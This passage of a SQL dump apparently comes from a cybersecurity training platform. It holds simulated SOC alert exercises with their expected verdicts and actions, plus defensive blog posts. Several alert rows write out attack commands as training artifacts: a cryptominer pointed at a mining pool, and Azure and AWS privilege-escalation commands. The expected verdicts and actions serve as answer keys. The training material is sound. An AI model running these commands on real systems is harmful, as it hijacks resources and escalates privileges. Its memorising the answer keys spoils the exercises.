instance\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.78\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 547 times for crypto mining activities\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"minerd --algo=cryptonight --url=stratum+tcp://203.0.113.78:3333 --userpass=user:pass\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Known command line for crypto mining operations\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a known crypto mining command indicates unauthorized resource usage.\"}', 'Intermediate', 'NDR', 5, 1, 'OT_ICS'),
(752, 'Suspicious IAM Privilege Escalation in Azure', 'critical', 'Azure Sentinel', 'A user account was detected attempting to assign itself higher privileges through an unusual method. This could indicate a compromised account.', 'Lateral Movement', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:15:30Z\",\"event_type\":\"privilege_escalation\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"52.233.123.45\",\"username\":\"john.doe\",\"hostname\":\"azure-vm-01\",\"command_line\":\"az role assignment create --assignee john.doe --role Owner\"}', '2026-01-10 17:50:25', '2026-01-11 15:12:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of Azure VM\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"52.233.123.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in privilege escalation attempts\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"az role assignment create --assignee john.doe --role Owner\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command used for unauthorized privilege escalation\"}}],\"expected_actions\":[\"reset_credentials\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The command line used is indicative of unauthorized privilege escalation.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS'),
(753, 'Exposed S3 Bucket Detected in AWS', 'medium', 'AWS CloudTrail', 'A public read/write permission was detected on an S3 bucket, potentially exposing sensitive data.', 'Data Exfiltration', 'T1530', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:42:05Z\",\"event_type\":\"bucket_policy_change\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"13.54.32.123\",\"username\":\"admin\",\"hostname\":\"cloud.aws.local\",\"request_body\":\"{\\\"Bucket\\\":\\\"my-sensitive-bucket\\\",\\\"Policy\\\":\\\"PublicReadWrite\\\"}\"}', '2026-01-09 16:19:33', '2026-01-11 15:12:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of AWS management console\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"{\\\"Bucket\\\":\\\"my-sensitive-bucket\\\",\\\"Policy\\\":\\\"PublicReadWrite\\\"}\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Exposing S3 bucket with public read/write permissions\"}}],\"expected_actions\":[\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Public read/write permissions on a sensitive S3 bucket are a security risk.\"}', 'Intermediate', 'CLOUD', 5, 1, 'OT_ICS'),
(754, 'False Positive: Unusual Login Attempt Detected', 'low', 'Splunk', 'A login attempt from a new location was detected for user \'alice.smith\', but further investigation revealed this was a legitimate business trip.', 'Credential Attack', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:50:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.101\",\"dst_ip\":\"203.0.113.10\",\"username\":\"alice.smith\",\"hostname\":\"vpn.company.com\",\"failed_attempts\":\"3\"}', '2026-01-10 10:38:35', '2026-01-11 15:12:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP not reported for malicious activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"alice.smith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"clean\",\"details\":\"User confirmed to be on a business trip\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The user\'s travel itinerary confirms this was a legitimate login attempt.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS'),
(755, 'Exposed AWS S3 Bucket Detected', 'high', 'AWS GuardDuty', 'An S3 bucket was found to be publicly accessible, potentially exposing sensitive data. Immediate action is required to secure data.', 'Data Exfiltration', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:45:00Z\",\"event_type\":\"bucket_access\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"\",\"username\":\"user123\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"\",\"command_line\":\"\",\"bucket_name\":\"sensitive-data-bucket\",\"access_policy\":\"public-read\"}', '2026-01-10 02:30:01', '2026-01-11 15:13:17', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 142 times for suspicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"bucket_name\",\"value\":\"sensitive-data-bucket\",\"is_critical\":true,\"osint_result\":{\"source\":\"AWS Config\",\"verdict\":\"internal\",\"details\":\"Exposed bucket found on AWS\"}}],\"expected_actions\":[\"block_ip\",\"secure_bucket\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The public access policy on the S3 bucket is a clear indicator of misconfiguration leading to potential data exposure.\"}', 'Beginner', 'DLP', 3, 1, 'OT_ICS'),
(756, 'Unauthorized IAM Privilege Escalation Attempt', 'critical', 'AWS CloudTrail', 'An IAM user attempted to escalate privileges without authorization, indicating potential account compromise.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:20:00Z\",\"event_type\":\"iam_policy_change\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"\",\"username\":\"compromised_user\",\"hostname\":\"iam.amazonaws.com\",\"request_body\":\"\",\"command_line\":\"aws iam put-user-policy --user-name compromised_user --policy-name AdminAccess --policy-document file://admin_policy.json\",\"policy_name\":\"AdminAccess\"}', '2026-01-11 09:24:16', '2026-01-11 15:13:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 560 times for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"IAM user account detected with unauthorized privilege escalation attempt\"}}],\"expected_actions\":[\"reset_credentials\",\"block_ip\",\"audit_user_activity\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The command to escalate IAM privileges combined with the source IP\'s reputation indicates a compromise attempt.\"}', 'Beginner', 'CLOUD', 3, 1, 'FINANCE'),
(757, 'Suspicious Lambda Function Execution', 'medium', 'AWS Security Hub', 'A Lambda function executed with unexpected parameters, indicating potential misuse for crypto mining activities.', 'Resource Hijacking', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:00:00Z\",\"event_type\":\"lambda_execution\",\"src_ip\":\"192.0.2.44\",\"dst_ip\":\"\",\"username\":\"lambda_user\",\"hostname\":\"lambda.amazonaws.com\",\"request_body\":\"function: crypto_mine\",\"command_line\":\"\"}', '2026-01-10 07:51:32', '2026-01-11 15:13:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.44\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP previously associated with crypto mining pools\"}},{\"id\":\"artifact_2\",\"type\":\"request_body\",\"value\":\"function: crypto_mine\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Unexpected function parameter for crypto mining detected\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"disable_function\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"resource_hijacking\",\"analysis_notes\":\"The execution of a Lambda function for crypto mining suggests resource hijacking, especially given the IP’s history.\"}', 'Beginner', 'EDR', 3, 1, 'FINANCE');
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`) VALUES
(758, 'False Positive: Unusual Login Attempt from Known Safe VPN', 'low', 'Azure Sentinel', 'A login attempt from a foreign IP was flagged as suspicious, but investigation reveals it is a known safe VPN used by the employee.', 'Credential Attack', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T12:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.99\",\"dst_ip\":\"\",\"username\":\"employee_vpn_user\",\"hostname\":\"login.microsoftonline.com\",\"request_body\":\"\",\"command_line\":\"\",\"failed_attempts\":3}', '2026-01-10 04:12:19', '2026-01-11 15:13:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":false,\"osint_result\":{\"source\":\"IPQualityScore\",\"verdict\":\"clean\",\"details\":\"IP belongs to a known safe VPN provider used by the employee\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"employee_vpn_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"User account verified to use this VPN regularly\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP is associated with a legitimate VPN used by the employee, explaining the foreign login attempt.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT'),
(759, 'AWS S3 Bucket Exposed to Public', 'high', 'AWS GuardDuty', 'An AWS S3 bucket has been detected with public read permissions enabled, potentially exposing sensitive data.', 'Data Exposure', 'T1530', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:45:00Z\",\"event_type\":\"configuration_change\",\"src_ip\":\"192.168.1.5\",\"dst_ip\":\"N/A\",\"username\":\"admin@example.com\",\"hostname\":\"aws-s3-bucket\",\"request_body\":\"PUT /public-access-block\",\"command_line\":\"N/A\"}', '2026-01-09 23:33:08', '2026-01-11 15:13:40', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"username\",\"value\":\"admin@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Administrative user account for AWS management\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"PUT /public-access-block\",\"is_critical\":true,\"osint_result\":{\"source\":\"AWS Documentation\",\"verdict\":\"suspicious\",\"details\":\"Public access block configuration change detected\"}}],\"expected_actions\":[\"close_alert\",\"audit_configuration\",\"notify_admin\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The S3 bucket was configured with public access, posing a risk of data exposure.\"}', 'Novice', 'DLP', 1, 1, 'FINANCE'),
(760, 'Multiple Failed Login Attempts Detected', 'medium', 'Splunk', 'A foreign IP address has been detected making multiple failed login attempts to the AWS console.', 'Credential Attack', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"N/A\",\"username\":\"j.doe@example.com\",\"hostname\":\"aws-console\",\"request_body\":\"N/A\",\"command_line\":\"N/A\"}', '2026-01-10 09:16:29', '2026-01-11 15:13:40', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"j.doe@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"User account for AWS console access\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP address is associated with known malicious activity and attempted unauthorized access.\"}', 'Novice', 'SIEM', 1, 1, 'GOVERNMENT'),
(761, 'Malicious File Executed on Azure VM', 'critical', 'Microsoft Defender for Cloud', 'A known malicious file was executed on an Azure Virtual Machine, indicating a potential compromise.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.4\",\"dst_ip\":\"N/A\",\"username\":\"vm-user\",\"hostname\":\"azure-vm-01\",\"request_body\":\"N/A\",\"command_line\":\"C:\\\\malware\\\\badfile.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-09 15:49:24', '2026-01-11 15:13:40', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected by 50+ antivirus engines\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\malware\\\\badfile.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Known malicious executable\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file executed is a known malicious program, posing a threat to the system.\"}', 'Novice', 'EDR', 1, 1, 'OT_ICS'),
(762, 'Unusual Spike in Cloud Resource Usage', 'low', 'AWS CloudWatch', 'An unusual increase in compute resources was detected in AWS, suggesting potential crypto mining activity.', 'Anomaly', 'T1496', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:00:00Z\",\"event_type\":\"resource_usage\",\"src_ip\":\"192.168.3.10\",\"dst_ip\":\"N/A\",\"username\":\"aws-user\",\"hostname\":\"aws-ec2-instance\",\"request_body\":\"N/A\",\"command_line\":\"N/A\"}', '2026-01-11 03:05:12', '2026-01-11 15:13:40', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the cloud instance\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"aws-user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"AWS user account managing the instance\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"anomaly\",\"analysis_notes\":\"The increased resource usage is attributed to a legitimate workload spike by the user.\"}', 'Novice', 'CLOUD', 1, 1, 'FINANCE');

-- --------------------------------------------------------

--
-- Table structure for table `alert_grades`
--

CREATE TABLE `alert_grades` (
  `id` int(11) NOT NULL,
  `alert_id` int(11) NOT NULL,
  `user_id` int(11) NOT NULL,
  `grade` int(11) DEFAULT NULL,
  `feedback` text DEFAULT NULL,
  `graded_by` int(11) DEFAULT NULL,
  `created_at` timestamp NOT NULL DEFAULT current_timestamp(),
  `updated_at` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp()
) ENGINE=MyISAM DEFAULT CHARSET=latin1 COLLATE=latin1_swedish_ci;

-- --------------------------------------------------------

--
-- Table structure for table `badges`
--

CREATE TABLE `badges` (
  `id` int(11) NOT NULL,
  `name` varchar(255) NOT NULL,
  `description` text DEFAULT NULL,
  `icon_url` varchar(255) DEFAULT NULL,
  `badge_type` enum('path_completion','milestone','streak','special') DEFAULT 'milestone',
  `criteria` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL CHECK (json_valid(`criteria`)),
  `xp_reward` int(11) DEFAULT 0,
  `created_at` timestamp NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `badges`
--

INSERT INTO `badges` (`id`, `name`, `description`, `icon_url`, `badge_type`, `criteria`, `xp_reward`, `created_at`) VALUES
(1, 'First Steps', 'Completed your first task in the learning path', NULL, 'milestone', NULL, 50, '2025-12-26 00:33:07'),
(2, 'Linux Novice', 'Completed the Linux Fundamentals module', NULL, 'path_completion', NULL, 200, '2025-12-26 00:33:07'),
(3, 'Windows Explorer', 'Completed the Windows Fundamentals module', NULL, 'path_completion', NULL, 200, '2025-12-26 00:33:07'),
(4, 'Network Navigator', 'Completed the Networking Essentials module', NULL, 'path_completion', NULL, 200, '2025-12-26 00:33:07'),
(5, 'Security Foundations', 'Completed the Pre-Security Fundamentals path', NULL, 'path_completion', NULL, 500, '2025-12-26 00:33:07');

-- --------------------------------------------------------

--
-- Table structure for table `blog_posts`
--

CREATE TABLE `blog_posts` (
  `id` int(11) NOT NULL,
  `title` varchar(255) NOT NULL,
  `slug` varchar(255) NOT NULL,
  `content` longtext DEFAULT NULL,
  `excerpt` text DEFAULT NULL,
  `featured_image` varchar(1024) DEFAULT NULL,
  `featured_image_alt` varchar(255) DEFAULT NULL,
  `author_id` int(11) DEFAULT NULL,
  `status` enum('published','draft') DEFAULT 'draft',
  `created_at` datetime DEFAULT current_timestamp(),
  `updated_at` datetime DEFAULT current_timestamp() ON UPDATE current_timestamp(),
  `category` varchar(100) DEFAULT NULL,
  `seo_title` varchar(255) DEFAULT NULL,
  `seo_description` text DEFAULT NULL,
  `focus_keyword` varchar(255) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `blog_posts`
--

INSERT INTO `blog_posts` (`id`, `title`, `slug`, `content`, `excerpt`, `featured_image`, `featured_image_alt`, `author_id`, `status`, `created_at`, `updated_at`, `category`, `seo_title`, `seo_description`, `focus_keyword`) VALUES
(1, 'IoT and the Modern Home: How to Stay Safe in a Connected World', 'iot-and-the-modern-home-how-to-stay-safe-in-a-connected-world', '# The Reality of the Connected Home\n\nThe connected home is no longer a futuristic concept—it\'s a reality. From smart locks and thermostats to cameras and refrigerators, the Internet of Things (IoT) has transformed how we live, work, and interact with our environment. However, behind this convenience lies a growing threat: every connected device is a potential entry point for cyberattacks.\n\nToday\'s smart homeowner isn\'t just managing gadgets—they\'re managing risk. Understanding these risks is the first step toward securing what matters most.\n\n## The Rise (and Risk) of the Smart Home\n\nSmart homes promise simplicity: lights that learn daily routines, security systems that respond automatically, and voice assistants that anticipate needs. But the same connections that make life easier can also open digital doors to intruders.\n\nStudies show that up to 80% of consumer IoT devices contain known vulnerabilities, and attacks targeting smart homes increased by more than 100% year over year in 2024. Mass adoption has moved faster than security awareness and regulation.\n\n### Why IoT Devices Are So Vulnerable\n\nMost IoT devices are designed for affordability and convenience, not security. Common issues include default credentials, unpatched firmware, weak or missing encryption, and the lack of unified security standards.\n\nEven basic devices like smart plugs, TVs, and routers can become the weakest link. Once compromised, attackers can move laterally and gain control of the entire home network.\n\n### Real-World Threats from Compromised Devices\n\nSmart home breaches are real and damaging. Hackers have hijacked cameras and baby monitors, exposed private routines through energy data, recruited devices into botnets like Mirai, and permanently disabled hardware through malicious firmware.\n\nEvery connected device can act as both a helper and a hazard.\n\n## Convenience vs. Security\n\nMost users assume smart devices are secure by default, yet the majority report low confidence in IoT security. While many say they would pay more for safer devices, manufacturers still prioritize features and speed to market over security by design.\n\nAs a result, responsibility often falls on users who are least equipped to manage complex security risks.\n\n## How to Secure Your Smart Home\n\nSecuring a smart home does not require expert knowledge. Key steps include:\n\n- Changing default passwords\n- Keeping firmware updated\n- Segmenting IoT devices on separate networks\n- Using WPA3 encryption\n- Enabling multi-factor authentication\n- Choosing reputable manufacturers\n- Limiting unnecessary permissions\n\nSmall, consistent actions significantly reduce risk.\n\n## The Future of Smart Home Security\n\nAI-driven anomaly detection, zero-trust models, blockchain-based authentication, and quantum-resistant encryption are shaping the future of IoT security. Regulatory efforts like the EU Cyber Resilience Act, UK PSTI Act, and U.S. Cyber Trust Mark are improving accountability, while standards such as Matter and ETSI EN 303 645 aim to unify security practices.\n\nStill, education and awareness remain the strongest defense.\n\n## Security Is the True Smart Choice\n\nA connected home can be both convenient and secure, but only with intentional choices. From password hygiene to device selection, every decision impacts safety.\n\nSmart homes represent progress—but without cybersecurity awareness, progress quickly becomes exposure. Protecting your IoT ecosystem ensures your home remains smart in every sense of the word.', '', 'http://infoseclabs.io/uploads/1767472026759-342558123.jpeg', NULL, 1, 'published', '2026-01-03 07:21:00', '2026-01-03 23:27:20', 'IoT Security', 'Securing Your Connected Home: Risks & Solutions', 'Explore the risks of IoT in smart homes and learn effective measures to enhance your home\'s security.', 'smart home security'),
(2, 'Understanding DDoS Attacks: Protecting Your Digital Infrastructure', 'understanding-ddos-attacks-protecting-your-digital-infrastructure', '# Understanding Distributed Denial-of-Service (DDoS) Attacks\n\nDistributed Denial-of-Service (DDoS) attacks are among the most severe threats in today’s digital landscape. They can cripple businesses, disrupt critical infrastructure, and prevent users from accessing essential online services. Understanding how these attacks work, the tools attackers use, and how to mitigate them is essential for protecting digital assets.\n\nThis article explains the fundamentals of DDoS attacks, common attack types, attacker tools, and effective mitigation strategies. By the end, you will be able to recognize, respond to, and reduce the impact of DDoS attacks.\n\n## Introduction to DDoS Attacks\n\nA Distributed Denial-of-Service (DDoS) attack overwhelms a target, such as a website, server, or network, with massive traffic. This disrupts normal operations and makes services unavailable to legitimate users.\n\n## Types of DDoS Attacks\n\n### Volumetric Attacks\n\nThese attacks consume bandwidth by flooding the network with large volumes of traffic, blocking legitimate access.\n\n### Protocol Attacks\n\nThese exploit weaknesses in network protocols such as TCP or SYN to exhaust server resources.\n\n### Application Layer Attacks\n\nThese target specific applications or services, overwhelming them with requests until they fail.\n\n## Impact of DDoS Attacks\n\nDDoS attacks can cause revenue loss, reputational damage, reduced user trust, and regulatory penalties. In 2020, AWS mitigated a record-breaking 2.3 Tbps DDoS attack, demonstrating the scale these attacks can reach.\n\n## Common DDoS Attack Methods\n\n### Volumetric Attacks\n\nExamples include UDP floods and DNS amplification attacks that generate massive traffic.\n\n### Protocol Attacks\n\nAttacks such as SYN floods and Ping of Death exploit protocol behavior to crash systems.\n\n### Application Layer Attacks\n\nAlso known as Layer 7 attacks, these include HTTP GET and POST floods targeting web services.\n\n## Tools Used in DDoS Attacks\n\n### Botnets\n\nNetworks of compromised devices controlled by attackers to generate large-scale traffic.\n\n### Stresser Services\n\nPaid services that allow users to launch DDoS attacks under the guise of stress testing.\n\n### Reflection Techniques\n\nAttackers use third-party servers to amplify traffic toward the victim.\n\n## Recognizing a DDoS Attack\n\nEarly detection reduces damage.\n\n### Common Symptoms\n\n- Slow or unavailable websites or services\n- Sudden traffic spikes from unusual locations\n- High network latency\n\n### Detection Methods\n\n- Traffic analysis\n- AI-based anomaly detection\n- Server log analysis\n\n## DDoS Mitigation Strategies\n\nAlthough prevention is difficult, the impact can be reduced.\n\n### Prevention Measures\n\n- Firewalls and intrusion prevention systems\n- Load balancers\n- Content delivery networks (CDNs)\n\n### Traffic Shaping\n\nPrioritizes legitimate traffic over malicious requests.\n\n## Real-World DDoS Case Studies\n\n### GitHub (2018)\n\nA 1.35 Tbps memcached amplification attack mitigated within minutes.\n\n### Dyn DNS (2016)\n\nA Mirai botnet attack disrupted major platforms such as Twitter and Netflix.\n\n### AWS (2020)\n\nA 2.3 Tbps attack highlighted the need for advanced mitigation systems.\n\n## Future Trends in DDoS Attacks\n\n### Increased IoT Exploitation\n\nMore vulnerable devices will expand botnet size.\n\n### AI-Driven Attacks\n\nAI may enable more adaptive and stealthy DDoS techniques.\n\n### Ransom DDoS (RDoS)\n\nAttackers demand payment to stop ongoing attacks.\n\n## Strengthen Your Security Today\n\nDDoS attacks continue to evolve and affect organizations of all sizes. By understanding attack methods, recognizing warning signs, and applying strong mitigation strategies, organizations can significantly reduce their exposure and impact.', '', 'http://infoseclabs.io/uploads/1767474329590-745685715.jpg', NULL, 1, 'published', '2026-01-03 16:01:00', '2026-01-04 00:05:43', 'Information Security', 'Understanding DDoS Attacks & Mitigation', 'Learn about DDoS attacks, methods, tools, and effective strategies to protect your digital assets from one of the biggest online threats.', 'DDoS Attacks'),
(3, 'Exploring Zero Trust: Why \'Trust but Verify\' is No Longer Enough', 'exploring-zero-trust-why-trust-but-verify-is-no-longer-enough', '# Understanding Zero Trust Architecture\n\nCybersecurity threats are becoming more sophisticated, and traditional perimeter-based security models are no longer sufficient. Zero Trust Architecture assumes that breaches can happen at any time and requires continuous verification. This shift has changed how organizations protect their digital assets.\n\nThis article explains Zero Trust Architecture, its core principles, implementation levels, and practical tools. It also uses the \"Security Onion\" analogy to simplify the concept.\n\n## Introduction to Zero Trust Architecture\n\nZero Trust is a security model where no user, device, or application is trusted by default, whether inside or outside the network. Every access request must be verified.\n\nIts importance lies in the principle of \"never trust, always verify.\" With cloud services, remote work, and mobile devices, Zero Trust provides layered protection across the entire infrastructure.\n\nTraditional models rely on a secure perimeter, granting broad access once inside. Zero Trust removes this assumption and enforces verification at every step, reducing both internal and external risks.\n\n## Core Principles of Zero Trust\n\n### Never Trust, Always Verify\n\nEvery request must be authenticated and validated before access is granted.\n\n### Least Privilege Access\n\nUsers receive only the access required to perform their tasks, minimizing exposure.\n\n### Assume Breach\n\nOrganizations operate as if a breach has already occurred, enabling continuous monitoring and rapid response.\n\n## Levels of Zero Trust Implementation\n\n### User Identity\n\nStrong identity verification using IAM solutions such as Okta or Microsoft Azure AD.\n\n### Devices and Endpoints\n\nAll devices are verified and monitored using endpoint security tools like CrowdStrike or SentinelOne.\n\n### Network\n\nMicrosegmentation limits lateral movement within the network using platforms such as Illumio or Cisco Secure Workload.\n\n### Applications\n\nApplications are protected with access controls and monitoring tools like Zscaler and Netskope.\n\n### Data\n\nData is secured through encryption, classification, and strict access controls.\n\n## Security Onion Analogy\n\nZero Trust can be visualized as layers of an onion. At the center are people, surrounded by layers including the perimeter, network, endpoints, data, and organizational policies. Each layer strengthens the next, creating a comprehensive defense model.\n\n## Tools and Technologies for Zero Trust\n\n- **Identity and Access Management (IAM)** solutions manage user identities.\n- **Multi-Factor Authentication (MFA)** strengthens authentication.\n- **Microsegmentation** limits network access.\n- **Endpoint Detection and Response (EDR)** provides visibility into device activity.\n\n## Implementing Zero Trust\n\n### Assessment\n\nIdentify assets, risks, and vulnerabilities.\n\n### Planning\n\nDefine a Zero Trust strategy and select appropriate tools.\n\n### Implementation\n\nDeploy controls gradually, starting with critical systems.\n\n### Monitoring\n\nContinuously monitor activity and automate responses.\n\n## Why Zero Trust Is the Future\n\nZero Trust Architecture is essential as cyber threats continue to evolve. It provides proactive, layered security and ensures continuous verification across all systems. Organizations that adopt Zero Trust improve resilience, reduce risk, and prepare for future challenges.', '', 'http://infoseclabs.io/uploads/1767474556038-82386573.png', NULL, 1, 'published', '2026-01-01 00:08:00', '2026-01-04 00:10:27', 'Information Security', 'Exploring Zero Trust: Secure Beyond \'Trust but Verify\'', 'Learn why Zero Trust surpasses \'Trust but Verify\' in cybersecurity, focusing on core principles and practical tools for robust security.', 'Zero Trust'),
(4, 'Overcoming Alarm Fatigue: How to Manage Security Alerts Effectively', 'overcoming-alarm-fatigue-how-to-manage-security-alerts-effectively', '# Mastering Security Alarm Management: A Guide to Effective Alert Triage\n\nWhen was the last time your security team investigated an alarm and discovered its actual cause? Security alarms are more than just annoying alerts; they are breadcrumbs along a trail left by potential attackers. Yet, too often, organizations fall prey to the \"cry wolf\" syndrome, becoming desensitized to alarms and missing signs of real danger.\n\nThe stakes couldn’t be higher. Responding to every alarm can overwhelm a team, but ignoring them completely could lead to disastrous consequences. This guide will walk you through the harsh reality of alert fatigue and provide actionable methods for effective triage to ensure you stay vigilant without drowning.\n\n## What is Alarm Fatigue?\n\nAlarm fatigue occurs when security analysts receive an overwhelming number of alarms, leading them to ignore or deprioritize notifications. When you are bombarded by 500 alerts a day, the 501st—the one that actually matters—can easily be lost in the noise.\n\n## The Harsh 